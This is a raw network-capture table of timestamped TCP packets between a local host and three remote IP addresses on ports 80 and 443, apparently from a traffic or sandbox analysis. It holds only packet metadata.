Nov 17, 2024 03:42:44.344333887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344341040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344356060 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344427109 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344672918 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344765902 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344778061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344789028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344811916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344824076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344832897 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344834089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344841957 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344846010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344872952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344882011 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344885111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344887972 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344894886 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344943047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344948053 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344948053 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.344957113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344968081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.344978094 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345005989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345012903 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345012903 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345031023 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345042944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345051050 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345094919 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345108986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345118046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345129013 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345139980 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345158100 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345190048 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345191002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345201015 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345211029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345221996 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345242977 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345252991 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345263004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345263958 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345263958 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345310926 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345310926 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345329046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345338106 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345346928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345357895 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345367908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345377922 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345377922 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345379114 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345390081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345408916 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345479012 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.345590115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345606089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345614910 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.345742941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.346158981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.346214056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.346225023 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.346234083 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.346334934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.346345901 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.346354961 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.346358061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.346368074 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.346376896 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.346379042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.346390009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.346398115 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.346400976 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.346410990 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.346421003 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.346421957 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.346441031 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.346621037 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.374013901 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:44.375997066 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.376739025 CET	49915	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:44.376765013 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:44.377583027 CET	49915	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:44.377583027 CET	49915	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:44.377593040 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:44.377600908 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:44.380258083 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.380281925 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.388972998 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.388986111 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.436203003 CET	443	49919	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.441766024 CET	49919	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.441797018 CET	443	49919	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.442428112 CET	49919	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.442434072 CET	443	49919	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.516757965 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.516849995 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.517113924 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.518090010 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.518090010 CET	49918	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.518099070 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.518106937 CET	443	49918	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.541883945 CET	49923	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.541924000 CET	443	49923	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.542370081 CET	49923	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.542732000 CET	49923	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.542743921 CET	443	49923	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.559032917 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.563882113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.565749884 CET	443	49919	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.565918922 CET	443	49919	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.566059113 CET	49919	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.566059113 CET	49919	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.566219091 CET	49919	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.566239119 CET	443	49919	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.568890095 CET	49924	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.568928003 CET	443	49924	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.569405079 CET	49924	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.569405079 CET	49924	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.569437027 CET	443	49924	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.842566967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.842601061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.842633009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.842647076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.842652082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.842652082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.842663050 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.842675924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.842690945 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.842704058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.842719078 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.842719078 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.842742920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.842777967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.842842102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.842878103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.842890978 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.842915058 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.842915058 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.842956066 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843050003 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843096018 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843115091 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843144894 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843180895 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843203068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843219042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843246937 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843296051 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843389988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843410969 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843425989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843437910 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843451977 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843471050 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843488932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843491077 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843507051 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843508959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843532085 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843545914 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843548059 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843560934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843575954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843589067 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843601942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843601942 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843616962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843626022 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843631029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843641996 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843662024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843673944 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843673944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843709946 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843714952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843729973 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843741894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843761921 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843780041 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843794107 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843811035 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843813896 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843827009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843848944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843853951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843853951 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843863010 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843879938 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843893051 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843900919 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843908072 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843916893 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843921900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843935013 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843936920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843950987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843950987 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843966007 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843966961 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843982935 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.843988895 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.843998909 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.844003916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.844016075 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.844017029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.844034910 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.844043970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:44.844073057 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.844073057 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.844095945 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:44.879360914 CET	443	49920	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.879870892 CET	49920	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.879892111 CET	443	49920	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.880336046 CET	49920	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.880341053 CET	443	49920	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.910207033 CET	443	49922	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.910692930 CET	49922	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.910708904 CET	443	49922	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.911164999 CET	49922	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.911169052 CET	443	49922	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.919084072 CET	443	49921	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.919585943 CET	49921	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.919603109 CET	443	49921	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.919975996 CET	49921	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:44.919981003 CET	443	49921	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:44.944334030 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:44.944366932 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:44.944407940 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:44.944432974 CET	49915	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:44.944464922 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:44.944478989 CET	49915	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:44.944976091 CET	49915	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:44.944988966 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:44.945056915 CET	49915	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:44.945207119 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:44.945252895 CET	443	49915	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:44.945369959 CET	49915	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:45.001621962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001651049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001732111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001741886 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001771927 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.001811981 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.001822948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001842022 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001866102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001868010 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.001877069 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001883030 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.001888037 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001900911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001909971 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001912117 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.001930952 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.001957893 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.001959085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001980066 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.001991034 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002003908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002015114 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002017021 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002023935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002032995 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002043009 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002058983 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002099991 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002099991 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002629995 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002671957 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002742052 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002760887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002775908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002787113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002790928 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002796888 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002814054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002821922 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002821922 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002835989 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002842903 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002854109 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002862930 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002862930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002872944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002876043 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002883911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002892017 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002901077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002904892 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002912045 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002929926 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002938986 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002948046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002954960 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002964973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002968073 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002974033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002985001 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.002985954 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.002995014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003005028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003005028 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003015041 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003024101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003029108 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003048897 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003082037 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003103971 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003114939 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003124952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003133059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003143072 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003144979 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003153086 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003164053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003170013 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003174067 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003189087 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003196001 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003199100 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003211021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003221035 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003225088 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003230095 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003241062 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003240108 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003252029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003262043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003272057 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003290892 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003290892 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003307104 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:45.003310919 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:45.003329992 CET	80	49797	185.215.113.206	192.168.2.5
